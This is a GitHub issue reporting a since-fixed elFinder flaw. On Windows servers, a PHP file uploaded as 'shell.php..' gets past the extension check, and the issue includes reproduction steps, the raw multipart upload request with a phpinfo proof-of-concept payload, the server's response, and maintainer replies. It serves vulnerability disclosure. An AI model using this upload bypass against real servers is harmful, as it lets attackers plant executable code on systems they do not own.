

New issue

[Jump to bottom](#)

Filename bypass leading to RCE #3458

🔒 Closed

Bingoyyj opened this issue on Feb 20 · 2 comments

Assignees



Labels

connector critical

Bingoyyj commented on Feb 20

Describe the bug

Filename bypass leading to Remote Code Execution

To Reproduce

Steps to reproduce the behavior:

1. Upload a file with `a<?php phpinfo();?>` named shell.php, Note: the letter 'a' at the beginning of the content cannot be omitted.
2. Add two dots after the file name like this `shell.php..`
3. The shell file is successfully uploaded by bypassing detection and can be accessed via `files/shell.php`.
4. This vulnerability can only be exploited on windows systems.

Screenshots

Request

Pretty Raw Hex \n

```
10 Referer: http://test.com:81/elfinder.html
11 Accept-Encoding: gzip, deflate
12 Accept-Language: zh-CN, zh;q=0.9
13 Cookie: PHPSESSID=8v5gied69m6tr91nmrsr69mgig;
14 Connection: close
15
16 -----WebKitFormBoundaryGU24GAQILDYRltMy
17 Content-Disposition: form-data; name="reqid"
18
19 17f17a043d81c1
20 -----WebKitFormBoundaryGU24GAQILDYRltMy
21 Content-Disposition: form-data; name="cmd"
22
23 upload
24 -----WebKitFormBoundaryGU24GAQILDYRltMy
25 Content-Disposition: form-data; name="target"
26
27 11_Lw
28 -----WebKitFormBoundaryGU24GAQILDYRltMy
29 Content-Disposition: form-data; name="upload[]"; filename="
  shell.php.."
30 Content-Type: application/octet-stream
31
32 a<?php phpinfo();?>
33 -----WebKitFormBoundaryGU24GAQILDYRltMy
34 Content-Disposition: form-data; name="mtime[]"
35
36 1645367992
37 -----WebKitFormBoundaryGU24GAQILDYRltMy
38 Content-Disposition: form-data; name="upload_path[]"
39
40 11_Lw
41 -----WebKitFormBoundaryGU24GAQILDYRltMy
42 Content-Disposition: form-data; name="dropWith"
43
44 0
45 -----WebKitFormBoundaryGU24GAQILDYRltMy--
46
```

0 matches

Response

Pretty Raw Hex Render \n

```
1 HTTP/1.1 200 OK
2 Date: Sun, 20 Feb 2022 17:13:27 GMT
3 Server: Apache/2.4.39 (Win64) OpenSSL/1.1.1b mod_fcgid/2.3.9a mod
4 X-Powered-By: PHP/7.2.9
5 Expires: Thu, 19 Nov 1981 08:52:00 GMT
6 Cache-Control: no-store, no-cache, must-revalidate
7 Pragma: no-cache
8 Set-Cookie: PHPSESSID=8v5gied69m6tr91nmrsr69mgig; path=/
9 Content-Length: 1276
10 Connection: close
11 Content-Type: application/json; charset=utf-8
12
13 {
  "added": [
    {
      "isowner": false,
      "ts": 1645377207,
      "mime": "text/plain",
      "read": 1,
      "write": 1,
      "size": "19",
      "hash": "11_c2h1bGwucGhwLi4",
      "name": "shell.php..",
      "phash": "11_Lw",
      "url": "\\php\\..\\files\\shell.php.."
    }
  ],
  "removed": [
    "11_c2h1bGwucGhwLi4"
  ],
  "changed": [
    {
      "isowner": false,
      "ts": 1645370126,
      "mime": "directory",
      "read": 1,
      "write": 1,

```

0 matches

Desktop (please complete the following information):

- OS: Windows

pun-private commented on Feb 22

Hi there,

It did indeed create a `shell.php` file on the filesystem but the file is empty. Do you have the same problem ?

Elfinder version : 2.1.60

nao-pon commented on Mar 8


Member

@Bingoyyy It seems that the Windows server treats it as if there is no dot at the end of the file name. However, the control with the extension doesn't seem to work, so I'll fix this.

 **nao-pon** self-assigned this on Mar 8


  **nao-pon** added **connector** **critical** labels on Mar 8

 **nao-pon** added a commit to nao-pon/elFinder that referenced this issue on Mar 9

 [security] fix [Studio-42#3458](#) filename bypass leading to RCE on Windo... [41ebea8](#)

 **nao-pon** closed this as completed in [69be51e](#) on Mar 9

Assignees

 **nao-pon**

Labels

connector **critical**

Projects

None yet

Milestone

No milestone

Development

No branches or pull requests

3 participants

